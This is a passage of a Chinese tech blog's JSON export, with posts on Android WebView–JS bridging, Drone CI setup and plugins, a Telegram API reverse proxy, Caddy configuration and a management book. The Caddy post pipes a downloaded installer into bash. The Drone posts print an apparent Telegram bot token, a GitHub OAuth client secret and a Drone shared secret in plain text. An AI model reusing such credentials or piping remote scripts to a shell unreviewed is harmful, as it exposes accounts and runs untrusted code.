result) { if(this.hijack(message)) { return true; } return super.onJsConfirm(view, url, message, result); } @Override public boolean onConsoleMessage(ConsoleMessage consoleMessage) { String message = consoleMessage.message(); if(this.hijack(message)) { return true; } return super.onConsoleMessage(consoleMessage); } @Override public void onConsoleMessage(String message, int lineNumber, String sourceID) { if(this.hijack(message)) { return true; } super.onConsoleMessage(message, lineNumber, sourceID); } } //注入劫持回调类 WebView webview = (WebView) findViewById(R.id.webview); webview.loadUrl(\u0026#39;https://imnerd.org\u0026#39;); webview.setWebChromeClient(new hijackChromeClient); 这里为了方便展示，将所有回调的方法都写全了，实际上在实际的使用过程中一般都是约定好一种调用方式即可。另外 console.log 对应的回调写了两种，三参数的是老版本方法，在新API中已经被废弃，推荐使用 ConsoleMessage 对象传参方式。\n总结 以上讲述了 JS 调用客户端的方法，以及客户端调用前端的方法。除了这两种单向调用的方式之外，往往比较多的是 JS 调用客户端方法，客户端再调用 JS 返回结果的双向调用。在 JS 调用的时候需要传入一个回调方法名，然后客户端直接执行回调方法。这样就完成了一个完成的信息交流的过程。\nwindow.hello = function(text) { console.log(text); }; console.log(\u0026#39;$hello:{\u0026#34;callback\u0026#34;: \u0026#34;hello\u0026#34;}\u0026#39;); webview.loadUrl(\u0026#39;javascript:hello(\u0026#34;hello world\u0026#34;)\u0026#39;); 这些调用方法有两点需要注意：\n不管是前端调用还是客户端调用，所有的调用的结果返回都是异步的。客户端 loadUrl() 需要另外通过 JS 异步回调客户端方法告诉结果，evaluateJavascript() 也需要传如一个异步回调方法。前端调用中 addJavascriptInterface() 是无返回值的，而方法劫持中，需要等待客户端回调我们的 JS 方法才能异步获取到数据。所以我们需要对异步通信进行妥善处理。 由于 JS 和客户端无法实现内存共享，所以所有的数据必须字符串化，只能通过字符串进行交流。例如两边的复杂对象数据，需要使用类似 JSON 的格式进行字符串化，而文件/图片等二进制数据最好使用 base64 字符串化。 后记 基本上交互的基本方式就是以上几种，不过有人将通信机制进行了封装，形成一套完善的 WebviewJSBridge 方案，提供了客户端调前端，前端调用客户端的系统解决方案。例如 lzyzsd/JsBridge 项目，我们从代码中可以看到，其实它在底层是使用了 URL 劫持的方法与 JS 进行交互。虽然原理简单，不过它提供了系统方案，同时也统一了 Android 和 iOS 多端的调用方法，如果是准备从0开始实现交互的话推荐使用。\n参考资料：\n《Android：你要的WebView与 JS 交互方式 都在这里了》\n《Android 利用WebViewJavascriptBridge 实现js和java的交互》\n","count":2211,"date":"2018年01月13日","featuredImage":null,"permalink":"https://imnerd.org/android-webview-and-js.html","summary":"\u003cp\u003eWebView 是移动端应用中的一个控件，提供了类似浏览器可以在 App 中加载网页的功能。现在市面上很多应用都会使用这种方式内嵌一些 h5 页面用来实现产品功能。使用这种方式带来的好处就是支持快速迭代更新，并且页面的功能是全网升级。当然目前 RN 和 Codorva 给我们带来的热更新方案也是可以的，只是目前 Apple 的态度很拒绝，这里我们略过不表。在 WebView 中的网页势必存在和客户端进行交互的动作，进行数据的共享。下面我们就来说说 Android WebView 中 JS 和 Native 的交互方式。\u003c/p\u003e","time":5,"title":"前端 WebView 指南之 Android 交互篇"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"Drone 是一款基于Docker的CI工具，不仅运行环境是容器化的，甚至于 CI 流中的每一个插件也是 docker 容器。基于容器的 Drone 插件一大特色就是允许我们使用任何语言去开发插件，Python, PHP, Nodejs, bash\u0026hellip; 这些都是可以的。每个开发者都可以使用自己熟悉的语言去开发自己想要的插件。Drone 的官方插件市场罗列了很多插件，并且在文档提供了 Golang 和 Bash 版本的插件开发文档，并开源了一个插件脚手架。\n官方插件里有一个 drone-telegram 插件，不过插件目前是不支持自定义 telegrame 请求地址的，对于我这种机器部署在国内需要使用反代的方式访问 telegram 的用户来说不是很方便。搜索到 node-telegram-api 这个模块可以配置，下面我就简单说说基于 Nodejs 写一个 telegram 消息通知的插件。\n原理 Docker 容器在启动的时候可以设置一个启动命令，这样我们就可以做到实例化插件容器的时候就执行插件脚本。另外 Drone 运行插件的时候会将本次 CI 构建相关的信息以及插件配置信息以环境变量的形式注入到插件容器实例中。所有的语言都是可以去读取系统环境变量的，这也让其支持所有语言成为了可能。\n插件配置会以 PLUGIN_xxx 的形式注入，例如 PLUGIN_TOKEN。 构建相关的信息会以 CI_xxx 或者 DRONE_xxx 的形式注入，例如 DRONE_COMMIT, CI_COMMIT_AUTHOR_NAME。 编写插件 编写插件很简单，只需要注意需要获取的配置使用 PLUGIN_ 获取即可，例如 telegram 需要使用的 PLUGIN_TOKEN 等。下面是具体的插件代码：\nconst render = require(\u0026#39;drone-render\u0026#39;); const TelegramBot = require(\u0026#39;node-telegram-bot-api\u0026#39;); const { PLUGIN_TOKEN, PLUGIN_TO, TELEGRAM_TOKEN, TELEGRAM_TO, PLUGIN_LANG, PLUGIN_MESSAGE, PLUGIN_BASE_API_URL } = process.env; const TOKEN = PLUGIN_TOKEN || TELEGRAM_TOKEN; const TO = PLUGIN_TO || TELEGRAM_TO; if(PLUGIN_LANG) { render.locale(PLUGIN_LANG); } const bot = new TelegramBot(TOKEN, { baseApiUrl: PLUGIN_BASE_API_URL }); bot.sendMessage(TO, render(PLUGIN_MESSAGE)); 可以看到其实代码非常的简单。\nDockerfile 插件写好之后就需要创建 Dockerfile 文件制作镜像了。由于 Dockerfile 的每一个指令都会为容器创建一个layer，所以这里有个小技巧是将 npm install 依赖安装这种不怎么会变化的操作提前，频繁变化的插件脚本的拷贝置后。这样在多次打包发布的时候会占优势，仅仅只会传后面变化的部分，减小传输体积。\nFROM mhart/alpine-node:8.9.3 WORKDIR /telegram-node COPY package.json /telegram-node/package.json RUN npm install COPY index.js /telegram-node/index.js ENTRYPOINT [ \u0026#34;node\u0026#34;, \u0026#34;/telegram-node/index.js\u0026#34; ] 最后就是编译并发布我们的 docker 容器以供其它人方便使用：\ndocker build lizheming/drone-telegram-node . docker push lizheming/drone-telegram-node 测试 本地使用如下命令启动镜像即可测试插件是否工作\ndocker run --rm \\ -e PLUGIN_TOKEN=xxxxxxx \\ -e PLUGIN_TO=xxxxxxx \\ -e PLUGIN_MESSAGE=test \\ -e PLUGIN_BASE_API_URL=xxxx \\ lizheming/drone-telegram-node 问题 secrets 参数获取 经常有些密钥之类的参数不想写在 .drone.yml 配置文件中暴露给所有项目可见的用户，这时候我们就会使用 drone secrets 添加变量，具体可参考我之前写的文章《如何使用Drone》。这里需要注意的是 secrets 定义的变量名即最后 drone 注入进入的环境变量名称，所以不能随意使用。例如你的配置是：\npipline: telegram: image: lizheming/drone-telegram-node secrets: [ telegram_token, telegram_to ] message: hello 最后你在插件内部就能使用 process.env.TELEGTAM_TOKEN 来获取对应的密钥变量。\n插件不生效 在编写插件的时候我碰到的一个问题是我最开始的 Dockerfile 是如下这样的：\nFROM mhart/alpine-node:8.9.3 WORKDIR /telegram-node COPY package.json /telegram-node/package.json RUN npm install COPY index.js /telegram-node/index.js ENTRYPOINT [ \u0026#34;node\u0026#34;, \u0026#34;index.js\u0026#34; ] 由于我设置了 WORKDIR 工作目录，正常的 docker run 是可以找到我的入口文件为 ${WORKDIR}/index.js 的。但是 drone 在执行插件的时候由于需要访问项目代码，所以会通过命令覆盖掉镜像的 WORKDIR 配置。导致了我的插件正常运行没问题，但是上到 drone 怎么也执行不了。最后查了才发现是因为复现了工作目录配置后入口文件找不到压根就没执行我的插件的问题。\n后记 插件的所有代码已经发布在 Github：https://github.com/lizheming/drone-telegram-node，镜像也已发布到 docker 平台上。本插件相对于官方的插件的优势是能够设置 telegram API 接口的地址，对于国内服务使用反代的方式来说比较适合。如果想要在国内服务器上使用 drone telegram 消息通知的可以使用。不知道如何设置 telegram API 反代的也可以参考我的文章《反代访问Telegram》。\n","count":1367,"date":"2018年01月05日","featuredImage":null,"permalink":"https://imnerd.org/my-first-drone-plugin.html","summary":"\u003cp\u003eDrone 是一款\u003ca href=\"https://imnerd.org/drone.html\"\u003e基于Docker的CI工具\u003c/a\u003e，不仅运行环境是容器化的，甚至于 CI 流中的每一个插件也是 docker 容器。基于容器的 Drone 插件一大特色就是允许我们使用任何语言去开发插件，Python, PHP, Nodejs, bash\u0026hellip; 这些都是可以的。每个开发者都可以使用自己熟悉的语言去开发自己想要的插件。Drone 的\u003ca href=\"http://plugins.drone.io/\"\u003e官方插件市场\u003c/a\u003e罗列了很多插件，并且在文档提供了 \u003ca href=\"http://docs.drone.io/creating-custom-plugins-golang/\"\u003eGolang\u003c/a\u003e 和 \u003ca href=\"http://docs.drone.io/creating-custom-plugins-bash/\"\u003eBash\u003c/a\u003e 版本的插件开发文档，并开源了一个插件\u003ca href=\"https://github.com/drone/drone-plugin-starter\"\u003e脚手架\u003c/a\u003e。\u003c/p\u003e","time":3,"title":"我的第一款Drone插件"},{"comments":{"data":[5],"errmsg":"","errno":0},"contents":"最近有使用 Telegram 机器人相关的服务，之前是部署在境外服务器上，运行良好。某天脑子抽风把服务迁移到国内机器了，发现一直 Timeout，后来才反应过来 Telegram 被墙了。由于我使用的是 Telegram bot 相关服务，请求的都是 https://api.telegram.org 这个域名的地址，于是我就想到了能不能借助国外的机器设置反向代理解决这个问题。\n中间人劫持 首先我想到的是不修改服务代码，直接将我本地的 api.telegram.org 解析到我的境外服务器，然后在服务器上做反向代理。这个方案是可行的，唯一需要解决的是服务器上 api.telegram.org 证书信任的问题。解决方法也很简单，服务器上自建证书后在本地设置强制信任即可。\n这里比较坑的一点在于网上给的教程一般都是说如何在 Linux 上创建自建证书然后在客户端例如 Windows 上信任。很少有教程会说如何在 Linux 上信任的，所以当时搜的资料很少。使用如下命令可为 Linux 添加证书：\nsudo mkdir /usr/share/ca-certificates/extra sudo cp foo.crt /usr/share/ca-certificates/extra/foo.crt sudo dpkg-reconfigure ca-certificates 反向代理 由于我这边 Docker 环境原因发现中间人劫持行不通。后来就想了个退而求其次的方法，还是反向代理 api.telegram.org，但是用自己的域名 telegram.imnerd.org，代码里修改一下调用的接口地址即可。以下是具体的 Nginx 配置：\nsever { listen 80; listen 443 ssl; server_name telegram.imnerd.org; location ~* ^/bot { proxy_buffering off; proxy_pass https://api.telegram.org$request_uri; } location ^~ /.well-known/acme-challenge/ { alias /etc/nginx/ssl/challenges/; try_files $uri =404; } ssl on; ssl_certificate /etc/nginx/ssl/chained.pem; ssl_certificate_key /etc/nginx/ssl/domain.key; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_prefer_server_ciphers on; ssl_ciphers \u0026#34;EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS\u0026#34;; } 除了 proxy_pass 反代之外，同样还需要处理 https 证书的问题。这里我使用了 Let\u0026rsquo;s encrypt 证书。最后直接使用 curl 测试即可。如果返回 JSON 内容即为正常。\ncurl https://telegram.imnerd.org/bot 参考资料：\nHow do I install a root certificate? ","count":591,"date":"2018年01月04日","featuredImage":null,"permalink":"https://imnerd.org/telegram-api-proxy.html","summary":"\u003cp\u003e最近有使用 Telegram 机器人相关的服务，之前是部署在境外服务器上，运行良好。某天脑子抽风把服务迁移到国内机器了，发现一直 Timeout，后来才反应过来 Telegram 被墙了。由于我使用的是 Telegram bot 相关服务，请求的都是 \u003ccode\u003ehttps://api.telegram.org\u003c/code\u003e 这个域名的地址，于是我就想到了能不能借助国外的机器设置反向代理解决这个问题。\u003c/p\u003e","time":2,"title":"反代访问 Telegram"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"正如本书序言所说，《一分钟经理人》通过为大家讲述一个故事，一个有上进心的年轻人找到一位在管理上有个人特色的经理人，通过他的“取经”之路帮助我们理解如何更好的管理同伴的任务。\n说是管理，其实读完之后发现可能叫引导会更合适一点。本书讲述的“一分钟目标”，“一分钟赞赏”，“一分钟更正”这三种方法帮助我们更好的定制和执行计划。\n一分钟目标 这个说的其实就是领导和下级双方需要用使用简短的时间将任务具现化。这里需要注意的是简短的时间和具现化两个关键词。\n首先简短的时间限制了我们需要布置任务的数量。尽量一次只下发一个或几个任务，快速做好之后再做下一个任务。而不是一次布置一大堆导致所有的 都堆积在一起。如果是大型的任务就对任务进行模块拆分，尽量控制在能够小步快跑短时间内能够完成。\n其次具现化则是说双方需要对任务目标沟通明了。使用确定的词，可衡量的词将任务明确下来。例如说“一个月增长5%”，“一个月完成那些那些功能”，这些能够从文字上就能判断出是否完成任务的词语是在任务沟通的时候需要使用的。只有将任务具现化之后，双方才不会对结果产生分歧，下级不会认为我已经尽力完成任务，上级也不会认为任务做的不满意了。\n一分钟赞赏 当下级完成了任务之后，对其作出赞赏能为我们带来一些好处。首先通过赞赏我们能够对任务的完成度进行表态，让下级明白完成任务的正确姿势。就和训练动物的条件反射一样，通过赞赏的应激反应让员工慢慢养成正确的工作方式。\n其次也是本书主要描述的，赞赏能为员工带来更大的热情与工作积极性。持续化的让员工保持工作热情才能让员工觉得工作更有意思。\n一分钟更正 不言而喻，当下级工作走偏的时候，对其作出正确的指导将能减少他们走很多弯路。同时也能为我们节省了不必要的时间，也为任务质量做了预防针。一分钟更正很多人都会以为是批评指导，其实本书这块重点需要描述的是如何“云淡风轻”的指出对方的错误。让员工能够及时明白他们的错误，同时又不能让他们对错误被领导指出这件事产生巨大的心理负担。这个需要大家不断的锻炼。\n总结 其实这三个要点整理成一句话就是明确的为下属部署任务，当下属执行正确的时候给予赞赏，在下属执行失败的时候及时给予更正。\n不过说起来容易做起来难，真正需要落实下来的时候又会发现很多东西没有方法无从下手。在看本书的时候，我也会时常将自己代入进去，回忆自己在日常工作中的行为以及自己的领导是怎么做的。通过点评自己领导行为上的优点与缺点，吸收学习具体的方法。\n另外这个理念我觉得不仅适用于上下级，甚至是自己对自己也是适用的。当给自己布置任务的时候，需要定下明确的目标。时常停下来审视下自己的目标，确认是否还沿着目标行走。如果走偏了则要反思，或者寻求帮助，及时的对自己进行更正。所以我认为一分钟目标、一分钟赞赏、一分钟更正不仅是互动的行为，其实也是一种自我审查和自我认知的行为。\n","count":1169,"date":"2017年12月19日","featuredImage":null,"permalink":"https://imnerd.org/one-minitue-manager.html","summary":"\u003cp\u003e正如本书序言所说，《一分钟经理人》通过为大家讲述一个故事，一个有上进心的年轻人找到一位在管理上有个人特色的经理人，通过他的“取经”之路帮助我们理解如何更好的管理同伴的任务。\u003c/p\u003e\n\u003cp\u003e说是管理，其实读完之后发现可能叫引导会更合适一点。本书讲述的“一分钟目标”，“一分钟赞赏”，“一分钟更正”这三种方法帮助我们更好的定制和执行计划。\u003c/p\u003e\n\u003ch3 id=\"一分钟目标\"\u003e一分钟目标\u003c/h3\u003e\n\u003cp\u003e这个说的其实就是领导和下级双方需要用使用简短的时间将任务具现化。这里需要注意的是简短的时间和具现化两个关键词。\u003c/p\u003e\n\u003cp\u003e首先简短的时间限制了我们需要布置任务的数量。尽量一次只下发一个或几个任务，快速做好之后再做下一个任务。而不是一次布置一大堆导致所有的 都堆积在一起。如果是大型的任务就对任务进行模块拆分，尽量控制在能够小步快跑短时间内能够完成。\u003c/p\u003e","time":3,"title":"做自己的一分钟经理人"},{"comments":{"data":[12],"errmsg":"","errno":0},"contents":"\nCaddy 是一款由 Go 编写的 Web Server 工具，在折腾 Drone 的时候，我最终就是使用的它提供 Web 服务。回到标题，为什么要用 Caddy 替换掉 Nginx 呢？最主要的原因是 Caddy 能让网站自动支持 HTTPS。同样是使用 Let\u0026rsquo;s Encrypt，换成 Nginx 我们就必须手工操作，并且还需要设置三个月更新证书的计划任务。而且默认还支持 http/2，很多事情都不需要我们再配置了。另外它的配置文件也比 Nginx 的要简单很多，几十行的 Nginx 配置文件 Caddy 仅需要几行就可以搞定了。\n安装 Caddy Caddy 提供了一键安装命令生成功能，访问 https://caddyserver.com/download 选择对应的平台，插件可默认为空，最后选择对应的协议后下方即会生成一键安装命令，例如：\n$ curl https://getcaddy.com | bash -s personal 安装后执行 which caddy 你会发现 Caddy 已经安装到了 /usr/local/bin/caddy 位置。\n$ echo \u0026#39;localhost:8000\u0026#39; \u0026gt;\u0026gt; Caddyfile $ caddy 执行如上命令在浏览器中访问 http://localhost:8000 发现 Caddy 启动了一个简单的 HTTP 服务器。\n后台启动 首先我们为 Caddy 创建一个配置目录，这里以 /etc/caddy 为例。同时我们还需要生成一个目录用来给 Caddy 放置网站证书。\n$ sudo mkdir /etc/caddy $ sudo mkdir /etc/caddy/conf $ echo \u0026#39;import ./conf/*\u0026#39; \u0026gt;\u0026gt; /etc/caddy/Caddyfile $ sudo mkdir /etc/ssl/caddy 从官方仓库中下载 caddy 的 systemctl 守护脚本并对其挂载启动。\n$ sudo curl -s https://raw.githubusercontent.com/mholt/caddy/master/dist/init/linux-systemd/caddy.service -o /etc/systemd/system/caddy.service $ sudo systemctl daemon-reload $ sudo systemctl enable caddy $ sudo systemctl start caddy 这样我们就完成 caddy 后台启动任务，可以使用 status 命令查看 caddy 的状态：\n$ sudo systemctl status caddy Caddyfile Caddyfile 是 Caddy 的配置文件，刚才我们写入了一条 import ./conf/* 命令，表示将 /etc/caddy/conf/ 下的所有文件都导入到配置文件中。下面我就以几个大家常见的需求列举一下如何编写 Caddfile 配置。\n静态资源 和 Nginx 一样，Caddy 也有一个 root 配置。静态资源的访问只要设置到对应的 root 即可。同时我们也为资源配置了 gzip 压缩功能。\n$ sudo cat \u0026lt;\u0026lt; EOF \u0026gt; /etc/caddy/conf/static.example.com static.example.com { gzip root /var/www/static.example.com } EOF $ sudo systemctl restart caddy 反向代理 反向代理请求到另外的端口算是我们比较常见的需求了，通过 proxy 指令我们可以非常简单的做到。以 ThinkJS 的配置为例，我们在静态资源配置的基础之上，增加了 proxy 指令将请求反向代理到了 http://127.0.0.1:8360 端口。由于反向代理后丢失了原始请求的 HOST，我们使用 transparent 指令增加 X-* 头。最后我们使用 except 指令排除了 /static 的请求，因为这些请求是静态资源的不需要反代。\n$ sudo cat \u0026lt;\u0026lt; EOF \u0026gt; /etc/caddy/conf/thinkjs.example.com thinkjs.example.com { gzip root /var/www/thinkjs.example.com/www proxy / http://127.0.0.1:8360 { transparent except static } } $ sudo systemctl restart caddy 我们可以对比下 ThinkJS Nginx 的配置文件，以下还仅仅只是 HTTP 的配置，没有加上 HTTPS 以及 HTTP/2 的配置。所以 Caddy 的简单性不言而喻。\nserver { listen 80; server_name example.com www.example.com; root \u0026lt;%= ROOT_PATH %\u0026gt;; set $node_port 8360; index index.js index.html index.htm; if ( -f $request_filename/index.html ){ rewrite (.*) $1/index.html break; } if ( !-f $request_filename ){ rewrite (.*) /index.js; } location = /index.js { proxy_http_version 1.1; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_set_header X-NginX-Proxy true; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_pass http://127.0.0.1:$node_port$request_uri; proxy_redirect off; } location ~ /static/ { etag on; expires max; } } Websocket Caddy 配置 WebSocket 也非常简单，使用 websocket 指令即可。\n$ sudo cat \u0026lt;\u0026lt; EOF \u0026gt; /etc/caddy/conf/thinkjs.example.com ws.example.com { gzip root /var/www/ws.example.com/www proxy / http://127.0.0.1:8360 { websocket transparent except static } } $ sudo systemctl restart caddy 更多的配置指令可以上 https://caddyserver.com/docs 官方文档查看，也可以上 https://github.com/caddyserver/examples 仓库中查看各种程序对应的 Caddy 配置。\n总结 最近使用下来之后觉得 Caddy 真是太方便了，不用操心 SSL 证书过期的事情，也不用愁看不懂配置文件了，简单几行就能搞定大部分的功能。对于没有什么特别功能的个人网站来说真是再适合不过了，希望大家也可以试试 Caddy 这款小清新 HTTP Server。\n参考资料：\nCaddy - 方便够用的 HTTPS server 新手教程\n從 Nginx 換到 Caddy\n","count":1140,"date":"2017年12月03日","featuredImage":null,"permalink":"https://imnerd.org/use-caddy-replace-nginx.html","summary":"\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p5.ssl.qhimg.com/t01f1d3e931e4b1fb0f.png\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://caddyserver.com/\"\u003eCaddy\u003c/a\u003e 是一款由 Go 编写的 Web Server 工具，在折腾 Drone 的时候，我最终就是使用的它提供 Web 服务。回到标题，为什么要用 \u003ca href=\"https://caddyserver.com/\"\u003eCaddy\u003c/a\u003e 替换掉 Nginx 呢？最主要的原因是 \u003cstrong\u003e\u003ca href=\"https://caddyserver.com/\"\u003eCaddy\u003c/a\u003e 能让网站自动支持 HTTPS\u003c/strong\u003e。同样是使用 Let\u0026rsquo;s Encrypt，换成 Nginx 我们就必须手工操作，并且还需要设置三个月更新证书的计划任务。而且默认还支持 http/2，很多事情都不需要我们再配置了。另外它的配置文件也比 Nginx 的要简单很多，几十行的 Nginx 配置文件 \u003ca href=\"https://caddyserver.com/\"\u003eCaddy\u003c/a\u003e 仅需要几行就可以搞定了。\u003c/p\u003e","time":3,"title":"使用 Caddy 代替 Nginx"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"在上文《DRONE安装指南》中介绍了如何安装 Drone 服务，下面我将来介绍重头戏——如何在项目中使用 Drone 完成自动化构建任务。首先我们要在 drone 中开启自动构建，实际上它会在对象的 Git 仓库中添加 webhooks 方便当开发者执行对应 git 操作后触发自动构建任务。\n.drone.yml 在《基于DOCKER的CI工具—DRONE》一文中我们有说过它的每一个构建插件都是镜像，能够模块化的配置我们的构建任务。将构建任务理解成是一条管道，项目流经管道做各种具体的任务。以下是一个简单的管道流程，代码克隆下来后执行安装并执行测试，完成后使用使用 Telegram 通知用户。\n+-------+ +-------+ +------+ +----------+ | Clone | ==\u0026gt; | Build | ==\u0026gt; | Test | ==\u0026gt; | Telegram | +-------+ +-------+ +------+ +----------+ 通过编辑放置在项目的根目录下的 .drone.yml 文件，我们可以对构建流进行配置。下面就是上图构建流程的配置：\npipeline: build: image: node:6.6.0 commands: - npm install --silent - npm test telegram: image: appleboy/drone-telegram token: 483467761:AAGVOmbOitx0V_1Vx4vlUwy-eoMBVYnSqP0 to: 337635385 message: \u0026gt; {{#success build.status}} 主人，{{repo.owner}}/{{repo.name}}第{{build.number}}次构建成功！ {{else}} 主人，{{repo.owner}}/{{repo.name}}第{{build.number}}次构建失败了，快来修理下吧。 {{/success}} 在配置文件中我们总共定义了两个管道任务：\nbuild: 我们为 build 任务指定了 node:6.6.0 镜像，并在镜像中执行 npm install --silent 命令安装依赖。最后执行 npm test 来运行单元测试脚本。 telegram: 我们为 telegram 任务指定了 appleboy/brone-telegram 镜像，并定义了一些镜像需要的环境参数。包括 telegram 的机器人 token，指定了消息的发送对象 to 以及消息的模板。 将其保存提交后就能正常触发任务并使用 telegram 接收消息了。\ntelegram telegram 插件需要设置 bot token，没有的需要先关注 @BotFather 并输入 /netbot 命令创建一个 bot，这样你就能获取到 token 了。\n而 to 参数需要配置的是发送用户的 ID，这个比较坑爹了。最开始以为是 username，输入之后一直没有反应，后来才反应过来可能是唯一 ID。不过 telegram ID 的获取比较困难，有人为此特地做了一个机器人。关注 @userinfobot 后和它发个消息它就会告诉你你自己的 ID 啦。这里有个小技巧是把别人的消息转发给它，它会给出对象的 ID。\n关于 telegram 插件更多的配置可以参考：http://plugins.drone.io/appleboy/drone-telegram/\nSecrets 由于我们将 token 直接写在了 .drone.yml 的配置文件中，项目其它人也都可见，这会带来一些潜在的安全问题。为此我们可以使用 drone 的 secrets 功能。我们小改一下配置文件：\ntelegram: image: appleboy/drone-telegram secrets: [ telegram_token, telegram_to ] token: ${TELEGRAM_TOKEN} to: ${TELEGRAM_TO} 同时我们在网站后台添加两个名为 telegram_token 和 telegram_to 的密钥：\n保存后重新执行构建任务即可，这样我们就做到了隐藏敏感信息的目的。当然其实这么做也有缺陷，因为在网站后台添加的密钥是对管道中所有的构建插件全局共享的，如果开发者在管道中增加其它插件并 echo 或者其它操作，一样也是能获取到密钥的。为此我们就需要使用 drone-cli 命令来添加密钥，它支持指定密钥的作用域镜像。\n$ drone secrets add \\ --repository=lizheming/qalarm \\ --name=telegrame_to \\ --value=337635385 \\ --image=appleboy/telegram 参考资料：\n《Getting Started》\n《Telegram Bot API》\n《Drone Secret 安全性管理》\n","count":1170,"date":"2017年11月26日","featuredImage":null,"permalink":"https://imnerd.org/how-to-use-drone.html","summary":"\u003cp\u003e在上文《\u003ca href=\"https://imnerd.org/drone-installation.html\"\u003eDRONE安装指南\u003c/a\u003e》中介绍了如何安装 Drone 服务，下面我将来介绍重头戏——如何在项目中使用 Drone 完成自动化构建任务。首先我们要在 drone 中开启自动构建，实际上它会在对象的 Git 仓库中添加 webhooks 方便当开发者执行对应 git 操作后触发自动构建任务。\u003c/p\u003e","time":3,"title":"如何使用Drone"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"在上文《基于Docker的CI工具—Drone》中我们介绍了 Drone 以及它的优缺点，下面我将来介绍下如何配置安装 Drone。官方推荐使用 docker-compose 来启动服务，所以首先我们要准备好 docker 和 docker-compose。\n安装 docker docker 服务提供了桌面版，服务器版和云服务版不同操作系统的多种支持，可以在官方文档中找到对应的安装方法。这里以 Debain 服务器安装为例。Docker 支持 Debian 7.7+ 以上的系统版本， 需要 3.10 版本以上的 Linux 内核环境。\n首先我们添加 docker 源的密钥：\n$ sudo apt-get update $ sudo apt-get install \\ apt-transport-https \\ ca-certificates \\ curl \\ gnupg2 \\ software-properties-common $ curl -fsSL https://download.docker.com/linux/$(. /etc/os-release; echo \u0026#34;$ID\u0026#34;)/gpg | sudo apt-key add - 然后我们添加 docker 源并使用 apt 安装 docker：\n$ sudo add-apt-repository \\ \u0026#34;deb [arch=amd64] https://download.docker.com/linux/$(. /etc/os-release; echo \u0026#34;$ID\u0026#34;) \\ $(lsb_release -cs) \\ stable\u0026#34; $ sudo apt-get update $ sudo apt-get install docker-ce 执行以下命令确保我们已经安装正确：\n$ sudo docker run hello-world 相比 docker 的安装，docker-compose 的安装就比较简单了。它是用 python 写的一个 docker 多镜像编排启动的工具，我们可以直接使用 pip 来安装它：\n$ pip install docker-compose Git仓库准备 CI 可持续构建的一个大前提是基于仓库的，所有的构建第一步都需要去仓库拉取代码。Drone 支持 Github，Gitlab，Bitbucket，Gogs， Gitea, coding 多个仓库类型，其中支持 OAuth 的仓库需要在网站申请密钥。这里以 Github 为例。在 New Oauth Application 页申请密钥，其中 callback URL 需要填写为\u0026lt;你的CI地址\u0026gt;/authorize。申请好后记录下你的 client id 和 client secret 以便后续使用。\n创建 compose 配置文件 我们新建一个空目录防止我们的配置文件文件：\n$ mkdir drone $ cd drone $ vim docker-compose.yml 在配置文件中，我们设置 docker-compose.yml 的格式为 2 号版本，定义两种服务。\ndrone-server ：使用 drone/drone:0.8.2 版本镜像，将启动监听 3800 上的主 Drone 服务容器，9000 端口来开放给 Agent。我们将在容器内挂载 /etc/drone 目录，以便 drone 可以保留数据。配置服务自动重新启动，并添加一些环境变量。 drone-agent：使用 drone/agent:0.8.2 版本镜像，将 docker 启动句柄挂载到容器 /var/run/docker.sock 文件中，以便 drone 可以使用 docker 来执行镜像构建任务。环境变量中需要配置 drone server 的地址以及 server 的密钥，以便于 server 进行通信。 version: \u0026#39;2\u0026#39; services: drone-server: image: drone/drone:0.8.2 ports: - 3800:8000 - 9000 volumes: - /etc/drone:/var/lib/drone/ restart: always environment: # 是否允许注册，false 后只有在 DRONE_ADMIN 变量中指定的账户才能登录 - DRONE_OPEN=true # Drone可公开访问的地址 - DRONE_HOST=http://ci.eming.li # 配置 Git 仓库，只能同时使用一种仓库 # Github 仓库需要配置上问申请到的 client id 和 client secret - DRONE_GITHUB=true - DRONE_GITHUB_CLIENT=003bd43da3380e8d7982 - DRONE_GITHUB_SECRET=9f4a76bf7c70e5caf1120af5db1b3dcd8db5f209 # Gogs 配置仓库地址即可 - DRONE_GOGS=false - DRONE_GOGS_URL=http://git.eming.li # Drone Server 和 Agent 的通信密钥 - DRONE_SECRET=4a6a6J8LJ4Wc82Ukjww1634ev drone-agent: image: drone/agent:0.8.2 command: agent restart: always depends_on: - drone-server volumes: - /var/run/docker.sock:/var/run/docker.sock environment: # 配置 SERVER 地址 - DRONE_SERVER=drone-server:9000 # 配置与 SERVER 通信的密钥，需要与 Server 配置的保持一致 - DRONE_SECRET=4a6a6J8LJ4Wc82Ukjww1634ev 其中的通信密钥相当于 drone 的密码，最好为一个长传的随机字串防止被破解。可以在命令行中使用一下内容生成：\n$ LC_ALL=C \u0026lt;/dev/urandom tr -dc A-Za-z0-9 | head -c 65 \u0026amp;\u0026amp; echo 配置文件完成之后，我们就可以使用以下命令启动服务了：\n$ docker-compose -f /etc/drone/docker-compose up docker-compose 会自动帮我们去下载镜像并根据配置初始化容器。一切就绪之后，我们使用 \u0026lt;host\u0026gt;:3800 就可以访问到 drone 了。\n配置 Nginx 带端口访问总是让人不爽，老方法我们配置下 Nginx 做下反向代理就可以了，以下是具体的 nginx 配置文件示例：\nmap $http_upgrade $connection_upgrade { default upgrade; \u0026#39;\u0026#39; close; } server { listen 80; server_name ci.eming.li; set $drone_port 3800; location / { proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $http_host; proxy_pass http://127.0.0.1:$drone_port; proxy_redirect off; proxy_http_version 1.1; proxy_buffering off; chunked_transfer_encoding off; } location ~* /ws { proxy_pass http://127.0.0.1:$drone_port; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_read_timeout 86400; 